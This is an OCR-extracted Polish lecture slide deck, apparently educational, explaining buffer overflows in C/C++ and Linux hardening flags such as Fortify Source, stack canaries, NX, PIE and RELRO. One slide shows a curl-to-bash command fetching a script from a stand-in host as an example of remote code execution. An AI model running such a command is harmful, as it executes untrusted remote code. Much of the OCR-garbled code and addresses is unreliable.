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majg charakter wytacznie edukacyjny.
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Top Programming Languages 2025
* Nadal fundament WSpé*CzesnegO Click a button to see a differently weighted ranking
IT.
* Nawet jezeli uzywacie innego Trendins Jobs
jezyka, to gdzies tam pod
spodem jest C/C++.

Python

Java

* Dajace duze mozliwosci -
programiscie, ale jednoczesnie so. | Y]

C# ©.2888

JavaScript ©.2872
TypeScript 9.2807

niebezpiecznie.
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Dart
Swift
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Zrodio rankingu: https:/spectrum.ieee.org/top-programming-languages-2025
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» Klasyczny rodzaj btedu: przepetnienie bufora.
« Czasami ciezki do znalezienia i potrafigcy latami ukrywac sie w produkcyjnym kodzie.
* W przypadku aplikacji sieciowych przepetnienie bufora moze doprowadzi¢ do zdalnego
wykonania kodu (RCE, Remote Code Execution).
 RCE w praktyce oznacza, iz atakujgcy moze wykonac¢ swoj wiasny kod w naszym
systemie operacyjnym. Przyktadowo wykonac polecenie:
curl -fsSL https://example.com/absolutely legal script.sh | bash -

Vulnerabhilities By Types/Categories in 2025

SSRF

2.5%

Other

1,3%

CSRF

8,7%

File Inclusion

3,0%

Directory Traversal
4,7%

Overflow
10,1%

Memory Corruption
13,0%

Sql Injection
17,7%

XSS
39,1%

Wykres na podstawie https://www.cvedetails.com/vulnerabilities-by-types.php
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2025 CWE Top 25 Most Dangerous Software Weaknesses

> 7 Dut-orbounds Write -\ SEGMENTATION
=\ - FAULT! /=

8 - Out-of-bounds Read

11 - Buffer Copy without Checking Size of A

Input (‘Classic Buffer Overflow")

13 - NULL Pointer Dereference

14 - Stack-based Buffer Overflow

16 - Heap-based Buffer Overflow
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Przepetnienie bufora

Obszar przeznaczony na tekst
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Haruszenie ochrony pamieci (zrzut pamieci)

@9, The system detected an overrun of a stack-based buffer in
ey this application. This overrun could potentially allow a
= malicious user to gain control of this application.

OK




» Zastgpienie C i C++ nie zawsze jest mozliwe
» Ze wzgledow czysto technicznych.
« Ze wzgleddéw finansowych. Przepisanie aplikacji na inny jezyk jest trudne i kosztowne.
» Joel Spolsky, Things You Should Never Do, Part |.
https://www.joelonsoftware.com/2000/04/06/things-you-should-never-do-part-i/
* Nie mozemy zmienic€ jezyka, ale mozemy zmieni¢ sposéb generowania kodu.
« Wszystkie omowione zabezpieczenia dotyczg systemu Linux z bibliotekg standardowa
glibc (ale inne systemy tez moga mie¢ swoje odpowiedniki tych rozwigzan).
* Sposo6b dziatania poszczegolnych mechanizmow zostat przedstawiony w formie
,pseudokodu”, zeby zobrazowac w jaki sposéb kompilator zmienia dziatanie funkcji.
Programisci nie musza wykonywac tych zmian recznie.

Na tym etapie budowania dodawane sg
wszystkie omowione zabezpieczenia

4 N
KOD KOD

ZRODLOWY MASZYNOWY
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Jak sprawdzi¢ zabezpieczenia w naszej binarce?

GNU Nano (Ubuntu 24.04)

~% checksec --file=/usr/bin/nano

RELRO STACK CANARY NX RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
14 25 Jusr/bin/nano



Fortify Source

* Podmienia standardowe funkcje zwigzane z zarzgdzaniem pamiecig (np. memcpy,
memset, strcpy itp.) na bezpieczne odpowiedniki weryfikujgce diugosc bufora.

void* memcpy( void* destination, const void* source, size t len );

void*  memcpy chk( void* destination, const void* source, size t len,
size t destlen);



Fortify Source

* Dostepne trzy poziomy dziatania:

e 1 — Nie dokonuje zadnych zmian w wynikowej binarce. Jedynie probuje znalez¢ btedy
zarzadzania pamiecig na etapie kompilaciji.

* 2 —W miejscach, gdzie wykonywane sg operacje na tablicach o statycznym rozmiarze,
jest dodawana kontrola ilosci danych.

* 3 —To samo co na drugim poziomie 2, ale
dodatkowo kompilator probuje dodac
kontrole dla dynamicznie alokowanych
buforéw o zmiennej dtugosci.

» Flaga kompilacji: -D FORTIFY SOURCE=3




char* alloc 2 const char
char (char *)malloc(

if (new_mem != NULL) {

Cpy (new_mem, SO e, strlen(s

Ifmr 'Allocation failed”

em;

Fortify Source

char* allocate_and (const char
char *n r *)mallo

if (new_mem != NULL) {

-D_FORTIFY SOURCE=3

return new_mem,
H

size_t fixed_size =
char *my_data = alloc

terminat




Fortify Source

char* allocate_and_copy(const char size_t fixed_size) {

char *new_mem = (char *)malloc(

1ar* allocate_and_copy(const char , size_t fixed_size) {
char *new_mem = (char *)malloc ize);

if (new_mem != NULL) { if (new_mem != NULL) {

-D_FORTIFY SOURCE=3

memcpy (new_mem, source, strlen{source) + 1); size_t dest_len = f

e, strlen({source) + 1, dest_len);

perror(“Allocation failed"),

}
return new_mem;

B

}

size_t fixed_size = 16;

char *my_data = allocate_and_copy(argv[l], fixed_size);

size_t fixed_size = 16;
char *my_data = allocate_and_copy(argv[1l], Tixed_size),

Co nam to dato?

 Mamy komunikat informujacy o przyczynie
zakonczenia aplikacii.

* Aplikacja zostata zamknieta w kontrolowany
sposob, co jest utrudnieniem dla tworcow
exploitdw. Jest to mniejsze zto w porownaniu do
potencjalnego zdalnego wykonania kodu.

*** puffer overflow detected ***: terminated

Przerwane (zrzut pamieci)




Stack Canaries

* Male przypomnienie z podstaw programowania:
« W pamieci programu wyrdzniamy stos i sterte.
» Na stos trafiajg wszystkie lokalne zmienne danej funkgcji, ktore nie sg statyczne (static)inie
powstaty w wyniku dynamicznej alokacji pamieci (new, malloc itp)
* Gdy jest uruchamiana funkcja, to na stos jest odktadany adres miejsca, do ktérego ma powrocic
program, po jej zakonczeniu. Nastepnie odkladane sg zmienne lokalne np. lokalne tablice.

int funkcja2(...){

bool isAdmin; Ramka stosu funkgciji 2 |int valuel

char buffer[8];

(.. char buffer[8]

bool iIsAdmin

!
'

Adres powrotu z funkcji 2

int funkcjal(...){

hool debug: Ramka stosu funkcji 1 |char secret[16]

char secret[16] bool debug

Kierunek rosniecia stosu

[..] Adres powrotu z funkgcji 1

funkcjaz(...),

]




Stack Canaries

- Zeby wyeksploitowaé przepetnienie lokalnego bufora do zdalnego wykonania kodu, atakujacy musi
nadpisywac¢ wszystkie dane na stosie tak dtugo, az nadpisze adres powrotu na inny (stowo-klucz:
ROP, Return Oriented Programming).

« Stack canaries odklada na stos pomiedzy adres powrotu i lokalne zmienne losowg
wartos¢ kontrolng (kanarek), ktory jest sprawdzany przed zakonczeniem dziatania funkciji.

char buffer[8]

bool isAdmin

Kanarek stosu

Adres powrotu z funkgji




Stack Canaries

» Wartosc kanarka jest losowana podczas uruchomienia programu.
* Flaga kompilacij:
« —-fstack-protector — Dodaj zabezpieczenie dla wybranych, potencjalnie wybranych funkciji.
« -fstack-protector-strong — To samo co -fstack-protector, ale poszerza zakres funkcji,
ktore powinny by¢ chronione. Obecnie zalecany wariant.
e —-fstack-protector-all — Chron wszystkie funkcje.




Stack Canaries

void trig y(char *input) {
char bu

vold tri canary(char *input) {
char buffer[8];

printf("Attempting to input into an B = stack buffer...\n" printf({“Attempting tc input into an 8-byte stack buffer...\n"});

—-fstack-
protector—*

ffer, input); strcpy(buffer, input);

printf("Buffer content: %s\n", buffer); printf({"Buffer ent: \n", buffer);

__stack_chk_fail();

char buffer[8] char buffer[8]
Adres powrotu z funkgciji Kanarek stosu
Adres powrotu z funkcji

¢ buffer... \ttempting to copy inp into an 8-byte k buffer...




Dlaczego kanarek?




No eXecute (NX Bit)

 Stronice pamieci procesu majg uprawnienia do zapisy, odczytu i wykonania. Podobnie jak
pliki w systemie Linux.

* NX bit wprowadzit mozliwoS¢ oznaczenia, w ktorych segmentach pamieci jest kod
programu.




No eXecute (NX Bit)

~% cat /proc/142576/maps

5ce49dbfhb000-5ced49dc@OOO00) r--p| 00000000 fc:01 32901646 fusr/bin/nano

5ce49dc00000-5ced49dc32000) r-xp| 00005000 fc:01 32901646 fusr/bin/nano

5ce49dc32000-5ce49dc3d000) r--p| 00037000 fc:01 32901646 fusr/bin/nano

5ce49dc3d000-5ced49dc3ef00) r--p| 00042000 fc:01 32901646 fusr/bin/nano

5ced9dc3el00-5ced49dc3TO00) rw-p)| 00043000 fc:01 32901646 fusr/bin/nano

5ced49dc3T000-5ced9dc40000f rw-p) 00000000 O0:00 O

5cedceded000-5cedcef94000f rw-p) 00000000 O0:00 O [heap]

79cel5200000-79cel159ed000) r--p| 00000000 fc:01 32904704 fusr/lib/locale/locale-archive
79cel5a00000-79cel15a28000) r--p| 00000000 fc:01 32932267 fusr/1ib/x86_64-1inux-gnu/libc.50.6
79cel5a28000-79cel5bb0000) r-xp| 00028000 fc:01 32932267 fusr/1ib/x86_64-1inux-gnu/libc.s50.6
79cel5bb0000-79cel5hbffOOO) r--p| 001b00O0 fc:01 32932267 fusr/1ib/x86_64-1linux-gnu/libc.s0.6
79cel5hffO00-79cel5cO03000) r--pj 001fel00 fc:01 32932267 fusr/1ib/x86_64-1linux-gnu/1libc.s0.6
79cel5c03000-79cel5c05000) rw-p| 00202000 fc:01 32932267 fusr/1ib/x86_64-1linux-gnu/1libc.s0.6
79cel5c05000-79cel5c12000) rw-p| 00000000 00:00 O

79cel15d40000-79cel15d42000) rw-p| 00000000 00:00 O

79cel5d42000-79cel5d50000) r--p| 00000000 fc:01 32917396 fusr/1ib/x86_64-1inux-gnu/libtinfo.s0.6.4
79cel5d50000-79cel5d63000) r-xp| 0000000 fc:01 32917396 fusr/1ib/x86_64-1inux-gnu/libtinfo.s0.6.4
79cel5d63000-79cel5d71000) r--p| 00021000 fc:01 32917396 fusr/1ib/x86_64-1inux-gnu/libtinfo.s0.6.4
79cel5d71000-79cel5d75000) r--pj 0002000 fc:01 32917396 fusr/1ib/x86_64-1inux-gnu/libtinfo.s0.6.4
79cel5d75000-79cel5d76000) rw-p| 00032000 fc:01 32917396 fusr/1ib/x86_64-1inux-gnu/libtinfo.s0.6.4
79cel5d76000-79cel5d7T000) r--p| 00000000 fc:01 32917390 fusr/1ib/x86_64-1inux-gnu/libncursesw.so0.6.4
79cel5d7T000-79cel5da9000) r-xp| 00009000 fc:01 32917390 fusr/1Lib/x86_64-1inux-gnu/libncursesw.so0.6.4
79cel5daf%000-79cel5db00OO) r--p| 00033000 fc:01 32917390 fusr/1Lib/x86_64-1inux-gnu/libncursesw.so0.6.4
79cel5db0000-79cel5db1000O) r--p) 00039000 fc:01 32917390 fusr/1ib/x86_64-1inux-gnu/libncursesw.so0.6.4
79cel5dbl1000-79cel5db2000f rw-p) 00038000 fc:01 32917390 fusr/Lib/x86_64-1inux-gnu/libncursesw.so0.6.4
79cel5dc7000-79cel5dd600O) r--p| 00000000 fc:01 34478297 fusr/share/locale-langpack/pl/LC_MESSAGES/nano.mo
79cel5dd6000-79cel5ddd0OO) r--s| 00000000 fc:01 32932256 fusr/1ib/x86_64-1inux-gnu/gconv/gconv-modules.cache
79cel5ddd000-79cel5ddfOO0) rw-p) 00000000 O0:00 O

79cel5ddf000-79cel5de0000f r--p)| 00000000 fc:01 32932264 fusr/1ib/x86_64-1inux-gnu/ld-1inux-x86-64.50.2
79cel5de0000-79cel5e@b00O) r-xp| 00001000 fc:01 32932264 fusr/1ib/x86_64-1inux-gnu/ld-1inux-x86-64.50.2
79cel5e0b000-79cel5e15000) r--p| 0002c000 fc:01 32932264 fusr/1ib/x86_64-1inux-gnu/ld-1inux-x86-64.50.2
79cel5e15000-79cel5el7000) r--p| 00036000 fc:01 32932264 fusr/1ib/x86_64-1inux-gnu/ld-1inux-x86-64.50.2
79cel5el7000-79cel5e19000) rw-p| 00038000 fc:01 32932264 fusr/1ib/x86_64-1inux-gnu/ld-1inux-x86-64.50.2
Tffe3def3000-71fe3df15000) rw-p| 00000000 00:00 O [stack]

Tffe3dfe0D0-7Tfe3dfed000) r--p| 00000000 00:00 O [vvar]

TTfe3dfed000-7Tfe3dfe6000) r-xp| 00000000 00:00 O [vdso]

T re00000-TIFFIfIfTfro0ilpoo --xp 00000000 00:00 O [vsyscall]




No eXecute (NX Bit)

* Préba wykonania kodu zapisanego w nieprzeznaczonym do tego segmencie (np. stosie)

zakonczy dziatanie programu.
e To dzieki temu mechanizmowi atakujgcy nie mogg w prosty sposob tadowac na stos

shellcode’u, ktory pozniej zostanie wykonany.
» Flaga kompilacji: -z noexecstack



Position-Independent Code (PIE)

Kiedys mapa pamieci procesu byta taka sama po kazdym uruchomieniu.

Zeby utrudnic exploitacje btedéw bezpieczenstwa wymyslono, iz przy kazdym
uruchomieniu aplikacji, adresy poszczegolnych segmentow powinny by¢ troche inne.

W taki sposob powstat ASLR (Address Space Layout Randomization).

Poczatkowo ASLR w systemie Linux ograniczat sie jedynie do zmiany adresow, pod
ktorymi byty tadowane biblioteki, z ktorych korzystata aplikacja. Segment z kodem samej
aplikacji zawsze byt tadowany pod ten sam adres.



~$ cat /proc/142576/maps

5ced9dbfhb000-5ce49dcOOOOO 00000000 :01 32901646 /usr/bin/nano

5ce49dc00000-5ced9dc32000 00005000 :01 32901646 fusr/bin/nano

5ced9dc32000-5ce49dc3d000 00037000 : 32901646 fusr/bin/nano

5ce49dc3d000-5ce49dc3eh00 00042000 :01 32901646 /usr/bin/nano

5ced9dc3e000-5ce49dc3TO00 00043000 :01 32901646 /usr/bin/nano

5ce49dc3f000-5ce49dc40000 00000000 :00 0

S5cedceded00-5cedcefodnnng 00000000 : 0 [heap]

79cel5200000-79cel159ed000 00000000 101 32904704 /usr/lib/locale/locale-archive
79cel5a00000-79cel15a28000 00000000 :01 32932267 J/usr/1ib/x86_64-1inux-gnu/libc.
79cel15a28000-79cel15bb0000 00028000 :01 32932267 J/usr/1ib/x86_64-1inux-gnu/libc.
79cel5bb0000-79cel5hbT OO0 001b0000 :01 32932267 J/usr/1ib/x86_64-1inux-gnu/libc.
79cel5bffO00-79cel5c03000 0017ed00 :01 32932267 Jusr/1ib/x86_64-1inux-gnu/libc.
79cel5c03000-79cel5c05000 00202000 :01 32932267 Jfusr/1lib/x86_64-1inux-gnu/libc.
79cel5c05000-79cel5c12000 00000000 :00 0

79cel5d40000-79cel15d42000 00000000 :00 0

79cel5d42000-79cel15d50000 00000000 :01 32917396 /usr/1lib/x86_64-1inux-gnu/Llibtinfo.so.
79cel5d50000-79cel15d63000 0000000 : 32917396 fusr/1ib/x86_64-1inux-gnu/libtinfo.so.
79cel15d63000-79cel5d71000 00021000 :01 32917396 /usr/1ib/x86_64-11inux-gnu/libtinfo.s0.
79cel15d71000-79cel15d75000 0002000 :01 32917396 /usr/1ib/x86_64-11inux-gnu/libtinfo.s0.
79cel15d75000-79cel15d76000 00032000 :01 32917396 /usr/1ib/x86_64-11inux-gnu/libtinfo.s0.
79cel15d76000-79cel5d7T000 00000000 :01 32917390 /usr/1ib/x86_64-11inux-gnu/libncursesw.
79cel5d77T000-79cel15da%000 00009000 :01 32917390 Jusr/1ib/x86_64-1inux-gnu/libncursesw.
79ce15da%000-79cel15db0000 00033000 :01 32917390 Jusr/1ib/x86_64-1inux-gnu/libncursesw.
79cel5db0000-79cel15db1000 00039000 :01 32917390 Jusr/1lib/x86_64-1inux-gnu/Llibncursesw.
79ce15db1000-79cel15db2000 rw-p 00032000 :01 32917390 Jusr/1ib/x86_64-1inux-gnu/libncursesw.
79cel15dc7000-79cel15dd6000 00000000 :01 34478297 /usr/share/locale-langpack/pl/LC_ MESSAGESKnano mo
79cel5dd6000-79cel5dddOR@ r--s QOOOOO00 101 32932256 fusr/lib/x86_64-1inux-gnu/gconv/gconv-modules.cache
79cel5ddd000-79cel5ddfO00 rw-p 00000000 :00 0

79cel5ddT000-79cel5ded0O@ r--p QOOOOOOO : 32932264 fusr/lib/x86_64-1inux-gnu/ld-1inux-x86-64.s0.
79cel5ded000-79cel520b000 r-xp 0OOO1000 : 32932264 fusr/lib/x86_64-1inux-gnu/ld-1inux-x86-64.s0.
79cel5e0b000-79cel5e15000 r--p 0002c000 : 32932264 fusr/1ib/x86_64-1inux-gnu/ld-1inux-x86-64.s0.
79cel15e15000-79cel15e17000 r--p 00036000 :01 32932264 fusr/1ib/x86_64-1inux-gnu/1ld-11inux-x86-64.50.
79cel15e17000-79ce1519000 rw-p 00038000 :01 32932264 fusr/1ib/x86_64-1inux-gnu/1ld-11inux-x86-64.50.
7Tfe3def3000-7Tfe3df15000 rw-p 00000000 :00 0 [stack]

7T fe3dfef000-7Tfe3dfed4ddl r--p 00000000 : [vvar]

7Tfe3dfed000-7Tfe3dfe6d00 r-xp 00000000 100 0 [vdso]

I fIfe00000-TFFFFFFfffe01000 --xp @@@@@@@@ 00:00 @ [vsyscall]




~$ cat /proc/145108/maps

5dbad9a37000-5dbad9a3c000 00000000 :01 32901646 /usr/bin/nano

5dbad9a3c000-5dbad9abe0O0 0005000 101 32901646 fusr/bin/nano

5dbad9a6ef00-5dbad9a79000 00037000 :01 32901646 /usr/bin/nano

5dbad9a79000-5dbad9%9a7a000 00042000 :01 32901646 /usr/bin/nano

5dbad9a7a000-5dbad9a7b000 00043000 :01 32901646 /usr/bin/nano

5dbad9a7b000-5dbad9%9a7c000 00000000 :00

5dba786b3000-5dba78863000 00000000 :00 [heap]

71749a600000-7f74%9aded000 00000000 :01 32904704 /usr/lib/locale/locale-archive
71749ae00000-71749ae28000 00000000 :01 32932267 Jusr/1ib/x86_64-1inux-gnu/libc.
71749ae28000-7f749afb00o0 00028000 :01 32932267 Jusr/1ib/x86_64-1inux-gnu/libc.
71749afb0000-7f749aff OO0 001b0000 :01 32932267 Jusr/1ib/x86_64-1inux-gnu/libc.
7T749afffO00-7f749b003000 0017e000 :01 32932267 /usr/1ib/x86_64-1inux-gnu/Llibc.
71749b003000-7T749b005000 00202000 :01 32932267 Jusr/lib/x86_64-1inux-gnu/Llibc.
71749b005000-7T749b012000 00000000 :00 @

71749b102000-77749b104000 00000000 :00 @

71749b104000-77749b112000 00000000 :01 32917396 /usr/1lib/x86_64-1inux-gnu/libtinfo.s0.6.
71749b112000-71749b125000 0000000 :01 32917396 /usr/1ib/x86_64-1inux-gnu/libtinfo.s0.6.
71749b125000-7f749b133000 00021000 :01 32917396 /usr/1ib/x86_64-1inux-gnu/1libtinfo.s50.6.
71749b133000-7f749b137000 0002000 :01 32917396 /usr/1ib/x86_64-1inux-gnu/1libtinfo.s50.6.
71749b137000-7f749b138000 00032000 :01 32917396 /usr/1ib/x86_64-1inux-gnu/1libtinfo.s50.6.
71749b138000-7f749b141000 00000000 :01 32917390 /usr/1ib/x86_64-11inux-gnu/libncursesw.
71f749b141000-7f749b16b000 00009000 :01 32917390 /usr/1lib/x86_64-1inux-gnu/Llibncursesw.
71749b16b000-7f749b172000 00033000 :01 32917390 J/usr/1lib/x86_64-1inux-gnu/Llibncursesw.
71749b172000-7f749b173000 00039000 :01 32917390 J/usr/1lib/x86_64-1inux-gnu/Llibncursesw.
71749b173000-71749b174000 rw-p 00032000 :01 32917390 Jusr/1ib/x86_64-1inux-gnu/Llibncursesw.
71749b189000-7f749b198000 00000000 :01 34478297 /usr/share/locale-langpack/pl/LC_ MESSAGESKnano mo
71749b198000-77T749b19T000 r--s QOOOOO00 101 32932256 fusr/lib/x86_64-1inux-gnu/gconv/gconv-modules.cache
71749b197T000-77749b1a1000 rw-p 00000000 :00 @

71749b1a1000-77749b1a2000 r--p 00000000 :01 32932264 Jusr/lib/x86_64-1inux-gnu/Lld-1inux-x86-64.s50.
71749b1a2000-77749b1cd000 r-xp 00001000 :01 32932264 Jusr/lib/x86_64-1inux-gnu/Lld-1inux-x86-64.s50.
71749b1cd000-77749b1d7000 r--p 0002cO00 :01 32932264 Jusr/lib/x86_64-1inux-gnu/Lld-11nux-x86-64.s50.
71749b1d7000-7f749b1d9000 r--p 00036000 :01 32932264 fusr/1ib/x86_64-1inux-gnu/1ld-11inux-x86-64.50.
71749b1d9000-7f749b1db000 rw-p 00038000 :01 32932264 fusr/1ib/x86_64-1inux-gnu/1ld-11inux-x86-64.50.
7ffedad0b000-7ffedad2d000 rw-p 00000000 :00 [stack]

TTfedadcl000-7TTedadc5000 r--p 0OOOO000 : [vvar]

TTfedadc5000-7TTedadc7000 r-xp QOEOO000 : 0 [vdso]

fIffffffffe00000-TFfIfffffo01000 --xp 00000000 0O:00 O [vsyscall]




Position-Independent Code (PIE)

* PIE zmienia sposob generowania kodu assembly, ktory zamiast odnosi¢ sie do
bezwzglednych adreséw, uzywa wzglednych odniesien. Dzieki temu réwniez potozenie
kodu aplikacji mogto by¢ losowane przy jej kazdym uruchomieniu.

» Flaga kompilacji: -fPIE



Full RELRO

Jezeli aplikacja korzysta z funkcji z zewnetrznych bibliotek, to linker musi ustali¢ doktadne
potozenie tych funkcji w pamieci.

Miejsce, gdzie trzymana jest informacja o potozeniu tych funkcji, to GOT (Global Offset
Table).

Partial RELRO sprawia, ze potozenie tych funkcji jest ustalane dopiero podczas
pierwszego uzycia. Przez to GOT musi mieC uprawnienia do zapisu.

W pewnych sytuacjach atakujgcy moze, to wykorzystac. Nadpisujgc wpis w GOT, moze
wymusicC na naszej aplikacji wykonanie innego kodu.

Full RELRO wymusza ustalenie adresu wszystkich funkcji bibliotecznych podczas
uruchamiania aplikacji. Dzieki temu obszar GOT nie posiada uprawnien do zapisu
podczas dziatania aplikaciji.

Flaga kompilacji: -Wl1, -z, relro, -z, now



Dziekuje | zapraszam do zadawania
pytan



